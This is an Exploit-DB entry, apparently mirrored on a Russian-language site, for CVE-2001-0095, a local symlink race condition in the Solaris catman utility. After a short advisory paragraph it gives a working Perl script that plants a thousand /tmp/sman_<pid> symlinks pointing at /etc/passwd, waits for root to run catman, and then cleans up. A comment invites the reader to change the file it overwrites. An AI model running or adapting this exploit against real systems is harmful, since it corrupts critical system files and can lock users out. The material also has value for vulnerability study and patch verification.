Exploit Solaris 2.x/7.0/8 - 'Catman' Race Condition (1)

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34,599
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18 Дек 2022
EDB-ID
20520
Проверка EDB
  1. Пройдено
Автор
VAPID LABS
Тип уязвимости
LOCAL
Платформа
SOLARIS
CVE
cve-2001-0095
Дата публикации
2000-11-21
Код:
source: https://www.securityfocus.com/bid/2149/info

catman is a utility for creating preformatted man pages, distributed as part of the Solaris Operating Environment. A problem exists which could allow local users to overwrite or corrupt files owned by other users.

The problem occurs in the creation of temporary files by the catman program. Upon execution, catman creates files in the /tmp directory using the file name sman_<pid>, where pid is the Process ID of the running catman process. The creation of a symbolic link from /tmp/sman_<pid> to a file owned and writable by the user executing catman will result in the file being overwritten, or in the case of a system file, corrupted. This makes it possible for a user with malicious intent to overwrite or corrupt files owned by other users, and potentially overwrite or corrupt system files. The Sun BugID for this issue is 4392144. 

#!/usr/local/bin/perl -w 
# The problem is catman creates files in /tmp insecurly. They are based on the 
# PID of the catman process,  catman will happily clobber any files that are 
# symlinked to that file.
# The idea of this script is to create a block of symlinks to the target file 
# with the current PID  as a starting point.  Depending on what load your
# system has this creates 1000 files in /tmp as sman_$currentpid + 1000.
# The drawback is you would have to know around when root would be executing 
# catman. 
# A better solution would be to monitor for the catman process and create the 
# link before catman creates the file.  I think this is a really small window 
# however. This worked on a patched Solaris 2.7 box (August 2000 patch
# cluster)
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
# [email protected]   11/21/2000   Vapid Labs.
# http://vapid.betteros.org

$clobber = "/etc/passwd"; #file to clobber
$X=getpgrp();
$Xc=$X; #Constant
$Y=$X+1000;#Constant

while($X < $Y) {

print "Linking /tmp/sman_$X to $clobber :"; 
# Change $clobber to what you want to clobber.
if (symlink ($clobber, "/tmp/sman_$X")) {
        print "Sucess\n";
}
        else { print "failed, Busy system?\n";}
$X=$X+1;
}


#Watch /tmp and see if catman is executed in time.

while(1)  {

$list = "/usr/bin/ls -l /tmp | grep sman|grep root |";

open (list,$list) or "die cant open ls...\n";

while(<list>) {
        @args = split "_",$_;
        chop ($args[1]);
    if ($args[1] >= $Xc && $args[1] <= $Y){
                print "Looks like pid $args[1] is the winner\n cleaning....\n"; 
                `/usr/bin/rm -f /tmp/sman*`;
                exit(1);
    }
  }
}
 
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